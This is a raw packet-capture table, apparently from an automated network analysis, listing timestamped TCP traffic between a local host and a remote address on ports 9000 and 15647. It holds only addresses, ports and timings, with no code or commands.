Oct 19, 2024 03:37:11.819123983 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:11.819566965 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.819577932 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.819586992 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.819596052 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.819606066 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.819614887 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.819624901 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:11.819627047 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.819636106 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.819645882 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.819655895 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:11.819655895 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.819670916 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:11.819672108 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.819684029 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.819689989 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:11.819693089 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.819704056 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.819713116 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:11.819715023 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.819725990 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.819736004 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.819741964 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:11.819746017 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.819758892 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:11.819762945 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.819773912 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:11.819802999 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:11.820421934 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.820436954 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.820452929 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.820470095 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.820482016 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.820491076 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.820496082 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:11.820501089 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.820503950 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:11.820512056 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.820528984 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.820529938 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:11.820544004 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.820555925 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:11.820569992 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.820580959 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.820589066 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:11.820591927 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.820602894 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.820612907 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:11.820612907 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.820624113 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.820640087 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.820643902 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:11.820650101 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.820661068 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.820671082 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.820681095 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.820682049 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:11.820709944 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:11.821219921 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.821232080 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.821239948 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.821249008 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.821264982 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.821271896 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:11.821275949 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.821293116 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.821294069 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:11.821302891 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.821307898 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:11.821316004 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.821325064 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.821335077 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.821336985 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:11.821345091 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.821355104 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.821360111 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:11.821363926 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.821377993 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.821378946 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:11.821393013 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:11.821400881 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.821410894 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.821419954 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:11.821422100 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.821433067 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.821443081 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.821445942 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:11.821454048 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.821465015 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.821472883 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.821479082 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:11.821484089 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.821496010 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.821506023 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:11.821518898 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:11.821537018 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:11.822016954 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.822027922 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.822035074 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.822043896 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.822053909 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.822063923 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.822067022 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:11.822074890 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.822086096 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.822091103 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:11.822097063 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.822105885 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.822108984 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:11.822117090 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.822119951 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:11.822139978 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.822148085 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:11.822151899 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.822160959 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.822170973 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.822179079 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.822180986 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:11.822190046 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.822200060 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.822204113 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:11.822231054 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:11.822269917 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.822280884 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.822290897 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.822300911 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.822304010 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:11.822312117 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.822323084 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.822330952 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:11.822355986 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:11.822423935 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:11.823075056 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.823091030 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.823098898 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.823108912 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.823118925 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.823128939 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.823133945 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:11.823139906 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.823151112 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.823159933 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.823168993 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:11.823170900 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.823182106 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.823193073 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:11.823194027 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.823200941 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.823200941 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:11.823208094 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.823216915 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.823227882 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.823236942 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:11.823237896 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.823249102 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.823257923 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.823261976 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:11.823268890 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.823280096 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.823281050 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:11.823291063 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.823311090 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:11.823334932 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:11.824043989 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.824054956 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.824063063 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.824074030 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.824089050 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.824090958 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:11.824099064 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.824115038 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.824115038 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:11.824125051 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.824143887 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.824152946 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.824161053 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:11.824163914 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.824167013 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:11.824168921 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:11.824173927 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.824184895 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.824193001 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:11.824208021 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.824208975 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:11.824219942 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.824228048 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.824237108 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.824245930 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.824248075 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:11.824254990 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.824265003 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.824269056 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:11.824275970 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.824285984 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.824295044 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.824296951 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:11.824305058 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.824315071 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.824320078 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:11.824326038 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.824337006 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.824356079 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:11.824383974 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:11.824898005 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.824908972 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.824918985 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.824928999 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.824938059 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.824948072 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.824950933 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:11.824956894 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.824966908 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.824970961 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:11.824978113 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.824984074 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:11.824987888 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.825002909 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.825005054 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:11.825016022 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.825026035 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.825031996 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:11.825036049 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.825047016 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:11.825057983 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:11.825360060 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.825371027 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.825377941 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.825387955 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.825397968 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.825407982 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:11.825408936 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.825419903 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.825429916 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.825436115 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:11.825440884 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.825450897 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.825459957 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.825470924 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.825470924 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:11.825480938 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.825498104 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:11.825498104 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.825505972 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:11.825510025 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.825519085 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.825521946 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:11.825531006 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.825541019 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.825548887 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.825551033 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:11.825565100 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.825575113 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:11.825576067 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.825588942 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.825594902 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:11.825598955 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.825608015 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:11.825612068 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.825622082 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.825632095 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.825640917 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.825648069 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:11.825659990 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.825676918 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:11.825697899 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:11.826359987 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.826375008 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.826385021 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.826395035 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.826405048 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.826409101 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:11.826416016 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.826426983 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.826427937 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:11.826436996 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.826447010 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.826447964 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:11.826466084 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.826477051 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:11.826479912 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.826492071 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.826500893 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:11.826502085 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.826513052 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.826524019 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:11.826524019 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.826535940 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.826545954 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.826548100 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:11.826558113 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.826567888 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:11.826569080 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.826580048 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.826590061 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:11.826591015 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.826601028 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.826608896 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.826613903 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:11.826618910 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.826627970 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:11.826627970 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.826642990 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.826649904 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:11.826674938 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:11.826699018 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.826700926 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:11.826700926 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:11.826704025 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:11.826710939 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.827177048 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.827188969 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.827223063 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:11.829730034 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.829781055 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:11.829785109 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.829797029 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.829833984 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:11.829849005 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.829859018 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.829869032 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.829899073 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:11.830007076 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.830018044 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.830027103 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.830035925 CEST	9000	49705	213.109.202.97	192.168.2.5
